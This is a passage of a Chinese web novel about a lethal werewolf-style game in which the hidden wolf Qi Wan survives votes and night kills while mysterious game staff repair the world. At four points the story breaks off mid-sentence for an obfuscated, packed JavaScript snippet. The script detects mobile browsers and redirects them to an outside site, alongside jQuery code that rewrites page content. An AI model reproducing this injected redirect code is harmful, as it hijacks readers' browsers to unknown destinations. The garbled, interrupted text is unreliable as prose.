13号男提出疑问,“要照你这么说,那死的人数就差三个了。有4匹狼呢,难道另外3个晚上都没杀人?” 14号男点头,“肯定是,咱们都没线索投票。他们肯定也不知道杀谁好,就都没动手。” 很合理的推测,这下没人提出反对了。 “那今天怎么投票呢?”发言的是8号女。 14号男道:“狼玩家都可以不杀人,羊玩家当然也可以不投票——是吧?”他转向公告牌,因为方才发出播报声的就是公告牌。 【触发隐藏规则。隐藏规则2:杀戮环节,狼玩家必须杀人,投票环节,羊玩家不可弃票。隐藏规则3:已补充进狼玩家玩家系统,请自行查看】 14号男胸有成竹的笑容僵住了。 也就是说,昨天晚上狼玩家其实都杀人了?可是死亡人数不够啊? 还有针对狼玩家的补充规则? 然而别人可不关注他是怎么想的,2号冬游幽幽道:“我们可不知道狼玩家的补充规则是什么,也许就是能抵消必须杀人这条的呢……你借着信息差,误导我们不投票,是什么意思?” “不是,我没有误导。”14号男慌了,“我不知道狼玩家必须杀人啊,我只是推测……我不知道狼玩家的规则啊!” 7号女也开了口:“既然是推测,为什么一定要我们放弃投票?” 14号男:“不是,你要这样想,那我也没办法啊。” 而后坐在他旁边的15号男开口:“还有,你怎么知道狼玩家杀人需要开门,你可没听见开门声吧。” 14号男张了张嘴,不知道怎么说,额角冒出汗珠,“不,不是我……我是听她说有开门声的啊。”他试图将视线引向7号女,然而没人在乎他这句,他连忙调出自己的系统,“不信你们看啊!绿色的,我是羊玩家啊!” 13号男刚才就提出了疑问,如今更是不信,“昨天咱们刚到的时候我就看过了,所有人的系统都是绿色,狼玩家的红系统肯定是可以伪装的。我们怎么知道你不是伪装?” 他话音落下,饭桌上立刻开始有人写字,并投入火中。 祁晚作为真狼玩家,根本不敢说话,还没票,只得假装自己有票,也跟着别人写了纸条投进火里,以防被发现,甚至把俩都写了。 【14号玩家得票数10,狼羊游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064744|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏失败,淘汰】 【请14号玩家进入下一场游戏】 不等他再说什么,他脚下已经变成黑漆漆的传送门,他掉了进去。 所有人立刻看向公示牌。 14号的名字被划掉,但依然是绿色。 【14号玩家身份为羊,场上剩余10票,请继续投票】 投错了。 场上现在剩下3狼10羊,所有人都是一片死寂。 播报声催命般再次响起:【请继续投票】 这下没人敢说话了,最后,16号男扫视了一眼桌子,站了起来,“总不能因为不敢说话就不投票吧?那游戏不是完成不了了吗?起码现在咱们知道了,发言的不一定是狼玩家。” 桌上的人纷纷点头。 5号:“是啊,不能乱怀疑了。” 8号:“要不然真的会被狼杀光吧。赢了有奖励,输了不会有惩罚吧?刚才14号掉下去好吓人,可不能输啊……” “这样,”16号男道:“咱们先统计一下已投的这10票是谁,刚才投票了的都举一下手。” 2,5,7,9,13,15号都举起了手,祁晚大致一数,也赶忙举了手。 这一数,更令人沉默了。 7人举手,却只有10票。每人两票,也就是说,有2只狼在这7人里。 但7选2,也不是那么容易的。 剩余10票,未举手的有6人,也对不上。 这边是6选1,比7选2更不容易。 7号女记录了这个数据,思考了一下,她道:“7选2比6选1概率更大,先从已投票的这几个人里找吧。” “已投票的,是1,2,5,7,9,13,15号。我是7号,我先声明,我是羊玩家。我明知道7选2包括我,但我还是要选概率更大的一边,这应该足够说明我的身份了。” 被点到的几人纷纷表态,祁晚也只得跟着表态——不表态还能怎么办,总不能自首吧? 场面又一次陷入死局。 最后,5号女打破了沉寂,她坐在7号的旁边,对7号道:“现在我们知道你一定是羊玩家了,干脆听你的想法吧——你怀疑谁?” 7号沉吟片刻,没有推辞,看向13和15号,“已知14号是羊玩家,刚才最质疑他的就是你们两个——我们羊无法得知狼的身份,却不知道狼能不能得知羊的身份,你们为什么那么想他死?是因为你们知道他是羊吗?毕竟狼的目的就是除掉羊吧?” 13,15两人立刻开始反驳。 “你这娘们不要胡扯!能不能有点理性思维?” “老子就是看不惯他假装聪明!老子是羊!” 7号冷冷地看着他们,“一块石头扔出去,叫的最欢的狗一定是被砸的。如果我说的不是真的,你们为什么这么生气?第一反应不应该不理解吗?” 然后她扫视全场,道:“我投13和15号。” 如今场上的人也是以她为主心骨了,尚未投票的6人都分别在自己的两个纸条上写下这两人,投入火中。 【13号玩家得票数5,狼羊游戏失败,淘汰】 【15号玩家得票数5,狼羊游戏失败,淘汰】 【请13,15号玩家进入下一场游戏】 这俩人也惨叫着掉进传送门,所有人都死死盯着公示牌,等着下一步播报。 ——她们,投对了吗? 5. 自由时间-第二夜(1) 公示牌上,13,15俩人的名字被划掉——但并没有变红。 【13,15号玩家身份为羊玩家,场上剩余0票,投票环节结束。进入玩家自由活动时间】 最终结果出得轻描淡写,7号坐回椅子上,紧抿着嘴唇,握紧了双拳。 现在这个情况,她说什么都不合适。 现在场上剩下3狼8羊,可以说因为她两个推理全错,羊玩家已经陷入了绝对的劣势。 想到这里,她整个人都是恍惚的。 场上剩余的人都看着她,无法分辨谁是狼谁是羊,但几乎所有人神色都很不善。 可能有不责怪她的,但她看不见了。 就在这时,5号女站了起来,大声道:“一开始是我说要听她的,要怪也是怪我。你们都这么看着她是什么意思?13跟15那俩人本来也跳得厉害,你们不也跟着怀疑他们了吗?” 有人想反驳她,16号男立刻站出来,“行了行了就这样吧!不要吵了!推理错误不是很正常的事情?咱们不还错投了14号吗?咱们应该吸取经验,不要看谁发言多就投谁,我猜真狼现在肯定不敢说话。” 如此一来,就把矛头转向了沉默者一边,祁晚感觉自己背上直冒冷汗。 怎么不说话也成错了?这位16号你闭嘴OK吗? 没等她开口,9号男说话了,这人声音十分低沉,“你别转移矛盾。不说话也有错?” 16号:“我不是这个意思。我是觉得,狼玩家现在肯定心虚,心虚的人自然不敢说话。你说是不是这个理?” 9号不跟他争辩,转身便走。 祁晚于是也站起来,“自由活动时间了,都散了散了。” 人们这便散了。 羊在思考怎么才能选择出真正的狼;而狼在思考接下来该杀死谁。 人们各怀心事,只是从表面上什么都看不出来。 祁晚先是回了房间,躺了一会,觉得有点无聊,便来到广场上散步。 投票的地方没有窗户,她也不知道天空幕布是什么时候换的,反正现在大概是早晨十点的天色。 阳光照在身上感觉不到暖,没有风,云也不飘动。除了更明亮些,室外跟室内没有什么区别。 “好假。”祁晚走到花池边,又发现一个亮点——远远看去没什么问题的花,近看居然是像素块组成的。 草木也是。 木质长椅倒是没什么问题,很完整,也不是像素快,但与在场的环境有种奇异的不兼容感,就像硬塞进来了一个建模。 一银发的少女坐在长椅中央,银色的头发在虚假的阳光下熠熠生辉,与在场环境更加不是一个画风。 这女孩还挺好看的,她想。 祁晚记得,她是11号,11号对应的名字……好像是,秋原? 似乎是感受到她的目光,少女转过头来。祁晚便笑着走过去,想着搭个话她又不损失什么,道:“你好啊,刚才咱们见过的。我叫祁晚,1号。” 见她过来,坐在长椅正中间的秋原也没有让开地方,祁晚便没有坐下——不让地方一般就是不欢迎的意思。 也是,陌生人罢了,她莫名其妙跑来搭话,对方有所戒备也正常。 “嗯,嗯。我知道你是祁晚,公示牌上写了。”秋原仰头看她,微微点头,“我想起来了,刚才你呛到了。怎么会呛呢?” 不知为何,祁晚总觉得她的眼神有点奇怪,不是不欢迎或者厌恶,也不是见到陌生人的迷茫,而是……很空洞。 有种令人不太舒服的非人感,但精致的五官又很好地弥补了这一点,整个人有种奇异的和谐感。 “哈哈,刚才那是意外,想事情,走神了。”祁晚笑,“你的头发染的好特别,真好看,在哪染的?” 秋原没回答,而是望着她,“你为什么不坐下?人类聊天的时候应该平视吧。” 祁晚:“……”你不是坐正中间呢吗?我咋坐? 秋原拍了拍身侧的位置,“你坐呀。”然而还是没挪屁股。 祁晚硬着头皮坐了。 位置确实是够,但她觉得有点别扭——这人怎么一点社交距离都没有。 现在这个情况,属于对方闯入她的安全距离了。 见她坐下,俩人差不多能平视了,秋原才道:“在我家楼下的理发店染的——好看吗?” 祁晚点头,“很好看啊,挑染的配色也很好。” “配色?”秋原微微睁大眼,她的瞳色很浅,好像满溢着流光,“这是我的配色,第一次有人说喜欢——以前我的朋友都说不喜欢,总叫我换……” “挺好看的啊。”祁晚真心觉得这个配色蛮不错的,但她还是更好奇别的,“你好像一直坐在这?干什么呢?” 秋原道:“晒太阳,可以补充能量的。” 阳光确实能给人力量,祁晚点了点头,“那我也……”在这晒一会。 她还想再说点什么,天色再一次暗了下来。 她一下子站了起来。 这天黑得一如上一次那般突兀,秋原脸色一下子就垮了,小小声地抱怨了一句:“啊……我还没饱……” 她这句话说得很小声,声音被广场上其他人的声音覆盖,已经站起来的祁晚没有听见。 播报声响彻广场。 【已经进入本场游戏第二个夜晚,请各位玩家根据序号回到房间】 祁晚回头,见秋原也在望着她,语气有点无奈,道:“好快啊,这里的时间根本不是按着正常的日夜来的——你看起来好不高兴,怎么了?”她猜测这女孩真实身份应该是羊玩家,到了夜晚害怕被杀的话,倒也正常。 然而秋原的回答与她想的不同,秋原摇了摇头,道:“我不喜欢夜晚,晚上没有太阳,还要关灯。” 祁晚自动理解为怕黑,道:“白天总会来的。” 秋原便眼睛亮晶晶地看她,“嗯。” 播报声再一次响起。 【请回到房间——】 人们匆匆回到别墅,冬游不知为何满头大汗还气喘吁吁的,一路狂奔着跑了回来,经过她们,还喊了一声:“你们干啥呢?还不回去吗?快点呀!” 秋原看着那狂奔离去的黄发背影,露出一个浅淡的笑容。 祁晚有点奇怪,想问她笑什么,然而秋原已经准备告别了,“祁晚。咱们也回去吧。” 祁晚:“好。”然后她收起自己的问题,挂起招牌式的笑容,“那就暂时告别了——下个白天见。” …… 1号房间。 祁晚先打开了自己的系统,看见了已经显示的隐藏规则。 【隐藏规则1(仅狼玩家系统可见):狼玩家不可杀同类,若杀同类,每杀一个,出局票数减少两票。 隐藏规则3(仅狼玩家系统可见):若狼玩家在杀戮环节互相选择,则杀戮行为取消,并得知对方序号。 【隐藏胜利条件:未公布】 “难怪啊……好端端的6票变成4票了。”祁晚茅塞顿开,“还有另外两个狼,他们昨天晚上互杀了。”并且还得知了对方的身份。 场上现在一共就剩3匹狼,还有两个已经门儿清知道了对方身份,可以并肩作战。只有祁晚还在孤军奋战,她不仅啥都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064745|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,还上来就误杀了狼,对此,她感到一阵凄凉。 没等她再感慨,播报声响了起来。 【已经进入本场游戏第二个夜晚,狼玩家进入杀戮模式,请选择您要杀死的对象】 还是那套老流程,火苗变回红色,关灯,锁门。 【请在纸条上写下您要杀死的序号,纸笔在桌子上】 这次不是毫无线索,祁晚就不打算摇骰子了,她坐在桌边,开始转笔。 今天见到3号的死时,她才想起来与这几人的初见——她明明当时就判断出了2,3两人一定是羊玩家来着,但是昨天晚上写纸条杀人的时候忘了。 如今3号已死,就剩个2号。 还有今天白天的讨论……7号一定是羊玩家了,护着她的5号大概率也是。 相比之下:2号仅有初见的印象;5号也不能完全确定,万一她只是单纯的责任心强呢?祁晚决定还是写个最稳妥的,于是她在纸上写下7,丢进火里。 “抱歉啦。”祁晚托腮,凝望着火苗,“但我要赢的。” 【7号已被淘汰,请换个序号】 祁晚:“咦?” “那就5……”新的纸条出现,她写好5丢进火里。 【5号已被淘汰,请换个序号】 祁晚:“……”多无语啊! 深吸口气,她明白了。 “这俩人表现得太明显了啊。”她自言自语着写下2丢进火里,“大家的目的都是赢……你过于彰显自己是羊玩家的身份,当然会被杀啊。没想到居然还是我手最慢。” 【1号玩家选择完毕,进入冷却时间】 “又完成了。”祁晚长舒一口气,“好快的节奏,我就没玩过这么快的狼人杀……可是羊玩家没有特殊身份,规则也有好多都只有狼人可见,这样狼人不是占尽优势?我说,你们这个游戏的设计者真的有过让羊赢的想法吗?” 她看向烧完纸条已经变回绿色的煤油灯:“喂,问你呢。” 火苗跳动了两下,没回应。 不回应就不回应,祁晚感觉自己已经适应了死亡状态。现在不会累也不饿不困,她兀自走向窗边——看外边总比干躺着等白天有意思。 她朝楼下看去。 一个不怎么高的黄发身影,提着一盏灯,走在草坪间的小道上……怎么看怎么像冬游那姑娘。 祁晚:“……” 她走到桌边提起煤油灯,当地一声砸在窗台上,“为什么又有人出去?别人都能出去,我为什么不能?” 煤油灯:【……】 她只是发泄一下怒气,并不是真的要跟这破灯要什么回答。那黄发女孩走得很慢,她猫着腰仔细看过去。 “是羊玩家死了就能出去吗?可是我没见到5号和7号,这个是2号吧,我记得她……跟那个绿衣服的男的是一起的。” 看着看着,祁晚皱起眉头,“好沉的脚步,她怎么看起来这么累?刚才她干嘛去了,我记得她是跑回来的,为什么这么半天了还没歇过来?” 即使脚步再沉重,有这么半天人家也走出去了,祁晚见她迈过大白圈,再不见身影,遂收回目光,“还是没见到5号7号,白天被投错的那几个羊玩家也是直接淘汰了。2、3号这俩人是不是跟普通的羊玩家不一样?” 寂静的房间里只有火苗燃烧的噼啪声。 “算了,指望你回答也是我可笑。”祁晚嗤笑一声,“骰子都能有,你现在抓紧给老娘把门打开,老娘要出去!” 煤油灯:【冷却时间玩家不可离开房间】 祁晚额角暴起青筋:“我摔了你信不信?” 6. 第二夜(2) 2号房间。 冲回房间,冬游抄起毛巾擦汗,随手擦了几下,立刻端起水杯咕咚咕咚狂灌。 水杯里的水喝完,一放到桌面上就自动出现了新的水,她继续喝。 “累死我了——”喝完水,她长出一口气,“真是要了命了,差一点边界就崩了。到时候世界崩塌大家伙一起完蛋——喂,你们有没有针对这种情况的措施啊?不能光靠我们游走者跑着修补吧?跑不过来啊,成天这么干会猝死的。” 然后这女孩趴到桌旁,从兜里掏出个本子唰唰开写,“明明说好了会一直照顾我的,这就不理我……主神是一口气在建设多少个世界啊,忙得连理理我的时间都没有……算了,我自己写报告。” 笔尖在纸面上飞舞,不多时,她将纸丢进火里:游走者上报申请修复条目及已修复条目,申请设立小世界崩塌应急预案,请接收——代号:秋。 冬游当然也是化名,她现在的代号叫秋。 写完,她瘫倒在椅子上,才开始细致地擦自己额角的汗,喝了口水,“这就行了吧。” 【1号玩家选择2号,您已被淘汰】 【2号玩家,狼羊游戏失败,淘汰】 煤油灯火苗跳动,两条突兀的播报声响了起来。 刚放松下来的秋:“……” “1……号?”秋迟疑着掏了掏耳朵,不敢相信自己的耳朵,“是那个种子选手?昨天晚上杀狼今天晚上杀我——这就是种子选手?不是,不带这么玩的啊!” 煤油灯发出燃烧困难的刺啦声,播报声终于换成了一个温柔的女声,如果祁晚在这里就会发现,这就是那个她听起来极耳熟的声音,是引导者,“收到了,辛苦你了。” “姐!”秋立刻凑到煤油灯旁边,“已经在解决了吗?” 引导者:“嗯,主神已经在着手修理了。这个夜晚的冷却时间会调得长一点,等到下一个白天,就肯定不会出问题了。” “主神还好吧?”秋有点担心,“祂现在同时建设多少个世界呢?游今天跟我说,苏醒的意识数量呈指数型增长,阿空已经崩溃得快炸窝了。” “不用担心主神啦,也不用担心阿空。阿空现在可是世界树。”引导者道:“主神说,建设也是有规律的,现在祂新增世界的数量不比意识苏醒的速度慢。” “这里修好了,还有更多的新世界等着你们,大家都已经在忙了。你被淘汰了也好,一块去帮他们吧,这里不需要多余看顾了。” “不愧是她……主神俩字不是白叫的。”秋连连点头,“那我也走。” 她提起灯来正要开门,突然想起什么,道:“不对啊,我走了,那个种子选手谁来盯?不是说她很重要吗?” 引导者语气带了点无奈,“她不叫种子选手,她叫祁晚……算了,你想怎么叫怎么叫吧……我亲自来盯她,你去别处就好。有我们呢,你别操那么多心啦。游很怕你累着呢,今天还来跟我抱怨。” “咦?你亲自?那管理者呢?薇姐不是在吗?”说着不操心,秋还是忍不住问:“这个祁……是叫祁晚吧?祁晚有那么重要吗,她只是普通玩家没错吧?” 引导者:“新增世界太多,管理者快忙死了,顾不上这么多细节。至于祁晚么……有的事情暂不确定,还不能告诉你们。而且这个世界除了祁晚,还出了别的情况,连主神都有点看不明白,所以才必须要我来的。” 秋:“昂,原来是机密。那我不问了。” 秋:“说起来,主神很忙,管理者很忙,游走者们也忙……怎么只有你有空,你这么闲吗?”大家都忙,就你摸鱼,好意思吗? 引导者:“……” 引导者:“主神在听哦。” 秋立刻滑跪,“姐我错了……我走了嗷。” 她推门离开,过了不久便走到了大白圈外。 说实话,她每走一步都好累。这里作为第一个世界,主神建设时经验不足,对人们的意识支撑估计是以祂自己的精神力为标准做的,没办法适配太多人,以至于连她都有点挺不住,现在累得两腿灌铅眼皮打架——那个祁晚在这种情况下都能一直神采奕奕的,想来确实是有点能耐。 起码精神力强度相当过关——可能有主神级别? 不不不这不可能……秋用力摇头,将这个离谱想法甩出去,心说自己怎么会有这种想法,那可是主神,谁能跟祂比? 站在圈外无尽的黑暗里,秋往火里丢了一张写好的纸条:申请去新场地执行任务,请下达坐标——代号:秋。 一条绿色细丝从远处蔓延过来,很亲昵地挽住她,传送门在她面前张开。 “阿空来啦。”她让那细丝挽在自己的手上,“最近很忙吧?” 细丝从她手指上离开,扬起,摇头,“还好……见到你就不累。” 秋笑了笑,“那你常来找我。” 正要迈进传送门,她感觉脸边有什么东西拂过,羽毛似的,有点痒,便伸手挠了挠。 “有什么东西吗?”她有点困惑。说着便望向细丝,细丝摇头,于是她喃喃着迈进门,“算了,不管了。主神会解决的。” …… 这一夜格外漫长。 祁晚威胁那破灯无果,终究没能把门打开,又无法入眠,只得坐在床边望着天空,眼巴巴地等着天亮。 人死了就是好啊……她如此想着:适应这个状态以后,她不会饿、不会累、即使已经坐在这里看了这么久,眼睛也不会酸。 相应地,她对时间的感知也在减弱。 她感觉这个夜晚格外漫长,却不知道夜晚是真的变长了,还是自己太无聊了。 除了观望夜空,她也始终关注着地面上的情况——2号冬游已经走了很久了,她还是没见到5号和7号。 这下子她更确定了,2、3号这俩人确实跟别人不一样。 但是……一不一样的都先放一边,她把那盏差点被她扔掉的灯再次拿到自己面前,弹了弹灯壁,“我不出去了,也不强迫你给我开门了——回答我点问题,OK?” 煤油灯的火焰闪了闪,不置可否。 祁晚只当它默认。 “放心,我已经弄明白了,有的事情你好像不能说。我随便问,你挑着答,好吧?” “那个2号和3号到底都是谁?”不等煤油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064746|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯给反应,祁晚自顾自地问了起来,“我想想哦……刚进游戏的时候我听到一个很熟悉的播报声,自称引导者的。 ”后来到了这个广场以后还有一个自称管理者的,声音不一样。嗯……她还有代号,叫代号:薇?这些又是谁?” 煤油灯不回答。 祁晚叹气,又换了个问题。 “引导者就叫引导者。管理者还有代号,那管理者是不是不止一个?这些都是工作人员吧?你们有多少工作人员?2、3号他俩是不是也是?” 这下煤油灯说话了,“数量问题……非机密……可回答。本游戏下设引导者一位,管理者两位,游走者……”声音断断续续,火焰跳跃得愈发不稳定,随后再次消音。 祁晚寻思自己可能是摸到了什么Bug,问完以后Bug就被修了。 “我还能抓住这种Bug,我太牛了。”祁晚得意一笑,而后摩挲着下巴思考起来,“你们修复也够快的。不过,下设这些的话……引导者和管理者都听到过了。那2、3号她俩是游走者?负责干嘛的啊?” 自知煤油灯不可能再给出回答,祁晚把它扔在一边不再理会,自言自语,“引导者只有一个,听这个称呼就高级——那她就是本游戏最高Boss了吧?说起来……” 自言自语到一半,祁晚再度把灯拎回自己面前,“说起来,你们这些工作人员有没有名字?我听那个引导者的声音好耳熟,是我认识的人吧?只要给我听第二遍,我肯定能想起来她是谁。” 不出所料,煤油灯没有回答。 祁晚自讨没趣,又把灯扔回去,“算了,我躺一会……” 就在她闭目的那一刻,窗外高悬的满月变成一颗浅棕色的眼珠,眨了一下。 一瞬间又变了回去。 虽然已经闭了眼,但毕竟是面对着窗外,她感觉光线好像变暗了一瞬,于是她再度睁开眼——月亮仍是虚假的月亮,夜空仍是虚假的夜空。 身上莫名地起了鸡皮疙瘩,祁晚看向煤油灯,“刚才是你闪了,是不是?” 煤油灯的火焰跳动着,一如既往地没给出回应。 “好像有人盯着我……错觉吗。”没得到答案,祁晚挠了挠手臂,“你这么个小灯,闪一下好像不会整个视野全黑掉。” 最终,随着窗外的天色蓦然变亮,它再一次发出了播报声。 【请在早餐后到二楼大厅集合】 【已经进入本场游戏第二个白天。玩家齐聚后,羊玩家将开启投票环节】 祁晚依旧对那卖相不佳的早晨没有兴趣。这次她毫不犹豫地推开门走向楼上——她可不想再最后一个到了,况且她昨天跟人约好了要再见,叫人家等她可不合适。 天亮了,煤油灯就恢复了悬浮跟随的功能,她大步流星地走向楼上,煤油灯便跟着她。 这次,投票大厅里空无一人——她是第一个。 人们陆陆续续地来到大厅,每一个看起来都很疲惫。祁晚默默数着,在数到第七人时见到了那个银发挑染的身影。 秋原自然而然地坐到她旁边,“早上好。” 祁晚也回:“早上好。” 7. 第二日 “你是1号吗?” 这次,桌上只剩下八个人了。 仅剩的人们望向公示牌。 播报声显得比前一天更冰冷。 【玩家全数到齐,游戏继续】 【昨夜被杀死的玩家为2号,5号,7号】 【2,5,7号玩家身份均为羊玩家。无狼玩家误杀,淘汰票数4票】 仅一夜,就划掉了三个人的名字,无一误杀。 无尽的沉默中,播报声继续。 【已经进入本场游戏第二个白天,开始羊玩家投票模式,请写下您认为可疑的对象,投入火焰中】 随后有人掰起手指头,喃喃:“还剩8个人,狼没有变少——还有……3狼5羊。” “不太有赢的希望啊……”秋原卷着纸条玩,看向祁晚,“你有没有想法?” 羊玩家需要足够的条件推理,还需要齐心协力投票,狼玩家则不需要任何条件,只需要到夜晚就可以杀人。如今狼玩家羊玩家数量差距缩小,尤其狼玩家还有隐藏规则…… 祁晚扫视了一眼房间内仅剩的8人。 6女2男,她刚来时是很平均的8女8男,已经被淘汰了一半。然而除去第一夜毫无线索就被杀的3,4两位,其他人基本都是因为话说太多才被怀疑。 虽然都是误杀,但也足够让剩下的人变得不敢说话。 从目前的数量比来看,哪怕狼玩家不看线索乱杀,赢面也比羊玩家大。她只要保证自己不被投出去,到了夜晚,就能把发现的羊玩家简单除掉。 想赢还真是不怎么难。 “今天不能看谁说话多就投谁了。”她回答道:“昨天误投的基本都是因为发言积极,今天肯定不能那么干。” 不远处的8号和10号都对她的话表示赞同,秋原也点了点头。 祁晚略微松了口气。 她还记得昨天散场时16号说过的,“不能看谁发言多就投谁。狼现在肯定心虚,不敢说话。” 说得很对,她昨天确实不敢说话。所以为摆脱嫌疑,她今天必须要发言,但也不能因为发言露馅被淘汰。 有了昨天的前车之鉴,今天人们肯定不会因为发言多把人投出去,那她就能放心大胆地说话了,不露馅就行。 反正她不知道另外两个狼是谁,干脆把所有人都淘汰掉——有她自己赢就足够了。 长桌另一头,16号也点了点头,“确实,昨天犯过的错误今天不能再犯——这样吧,咱们按序号发言,都自我介绍一下,说点什么。不然什么线索都没有,也不好投票不是?就从1号美女开始,如何?” 大家都表示同意。 祁晚想给他一拳。 昨天就是这家伙把矛头引到沉默者身上,给她冷汗都吓出来了,今天又让她第一个发言——她可是狼啊!第一个就叫她说,她露馅了怎么办? 她深吸一口气,正要起身,余光的视野里,一个银色带挑染的脑袋升了起来。 是秋原。 16号男懵了,“你是1号吗?” 秋原:“我11号啊。不是我吗?” 16号男:“不……算了,没事,你说吧,都一样。” 于是秋原微微颔首,触碰自己的煤油灯,释放出自己的系统,一个大家都很熟悉的,绿色的系统。 “看系统吗?”10号女发出疑问,“大家的系统都是绿色,狼玩家系统是可以伪装的。看这个没用吧?” 光幕在空中散发着淡淡的荧光,秋原微微摇了摇头,道:“我知道,我没在说颜色。我在说这个。”她指了指系统界面右下方的一个绿色小人标识,“这个是今天早上天刚亮的时候出现的新功能,应该没人发现,我也是刚发现的。” 点开绿色小人后,空荡荡的系统界面变成了名单,她道:“这个功能可以查看所有玩家,跟公示牌上的一样,虽然也不能显示身份吧……但我觉得这个是不是能成为一个线索?羊系统是有这个的,伪装的狼系统也有吗?” 6号女眨了眨眼,随即调出自己的系统,“啊,我的也有。” 长桌另一头的8号,10号,12号几女紧随其后。 “我的也有。” “我也有。” 秋原将视线转向祁晚,“你呢?” 祁晚背后又在冒冷汗了。 然而秋原将视线转向她,于是所有人都看着她。 怎么又给她架在火上烤啊? 箭在弦上不得不发,祁晚颤颤巍巍地调出自己的系统。 她也不知道伪装的系统有没有啊! 就这样要输了吗? 思考在电光火石之间,而系统调出只用一瞬,她的绿色光幕投射在空中—— 右下角有一个绿色小人标识。 祁晚背后都湿透了。 随后她抬头看着秋原,露出一个劫后余生的微笑,“我也有的。” 此时,桌面上是所有人都已经调出了系统,每个人的系统右下角都有一个绿色小人标识。 9号男于是收起系统,道:“看来这个也不能作为证据。你的发言就算完毕,1号该说了吧。” 祁晚想攮一拳的人又多了一个。 然而秋原并没有坐下,她道:“我还没说完。” 祁晚再次松了口气。 9号男不耐地看着秋原。 秋原继续道:“这个标识是可以点开的,你刚才不是看见了吗?”随后她又点开那个标识,来回开关了几次,“有名单的,狼玩家的也可以点开吗?” 9号依旧是那个不耐的表情,再次调出自己的系统,伸手便点,“你要点,那我就点……” 他的话音戛然而止。 秋原的系统点开后有8个人,而他的赫然变成了红色……且只有2个人。 9号男猛地站起来,立刻关掉系统,“不,不是这样的!” “红的!大家都看见了!”6号女立刻低头写纸条,“他是9号吧,我写好了!” 她身边的8号女也立刻开写,并投入火中,“写了写了——说起来,他系统里有两个人,有人看清吗?” 10号女离9号男最近,已经看清了,立刻道:“是9号和16号。” 6号女往火里扔完纸条第一时间站起来,道:“大家不要投票投重了。我跟8号写9号,其她人写16号,把他们两个都投出去!” 于是拿笔更晚的10号和12号都写了16号。 16号气急败坏,哐哐拍桌,但无力回天,“你怎么回事,叫你点你就点?狗都没你听话!手是猪蹄吗那么快?” 9号也是懵的,但第一时间回怼,“外表明明就是长得一样的!我怎么知道我的点开跟她们的不一样?莫名其妙出现一个新功能,我又没研究过!谁大清早的起床先研究系统啊?” 没给16号继续说话的空档,9号继续抱怨,“再者,你也没提醒我啊!” 16号:“……” 16号:“你手比狗都快,我怎么提醒?你好意思问。” 16号:“哼,算了,咱俩走了剩下那家伙也赢不了了。狼玩家数量要大于等于2才能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064747|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赢。” 俩人吵得翻了天,祁晚的目光已经死了。 是啊,她继续努力下去倒是不一定会输,但也肯定是赢不了。 真让人绝望,9号这手快的混蛋,她真想攮他一拳。 “说起来,系统里只有两只狼吗?”投完票,10号女疑问。 “对啊,不还有一个狼吗?怎么没见?”12号女附和,并问这对难兄难弟,“你们知道为什么吗?” 反正也是被淘汰了,16号也认命了,道:“狼玩家互杀的话,杀戮行为会抵消,而且会知道对方的身份。第一晚我跟9号互杀了,至于另外一个。我们也不知道是谁。” 播报声响起,不再给他们继续说话的机会。 【9号玩家得票数4,狼羊游戏失败,淘汰】 【16号玩家得票数4,狼羊游戏失败,淘汰】 【请9,16号玩家进入下一场游戏】 说着是请进入下一场游戏,方式也依旧很不礼貌。9和16两人表情平静且绝望地掉进了传送门。 众女转移目光看向公示牌,等着播报。 公示牌上,9,16俩人的名字被划掉——缓缓变红。 【9,16号玩家身份为狼玩家,场上剩余2票,不足以淘汰一人,投票环节结束。】 投票完了,8号很疲惫地伸了个懒腰,“好累啊……为什么这么累。谢谢11号姐妹!你是怎么发现的啊?” 秋原笑笑,“就随手一点,看了一下。” “真的是多谢你啦。”8号这便起身准备走,“好累啊,浑身酸痛,我出去放松一会……” 她说出了所有人的心声——大家都很累,于是众人这就准备散了,都想出去放松一会。 6号却叫住了所有人,“先别走。” “播报还没完,还没说自由活动——” 她话音未落,播报声果然再次响了起来。 【触发隐藏规则。】 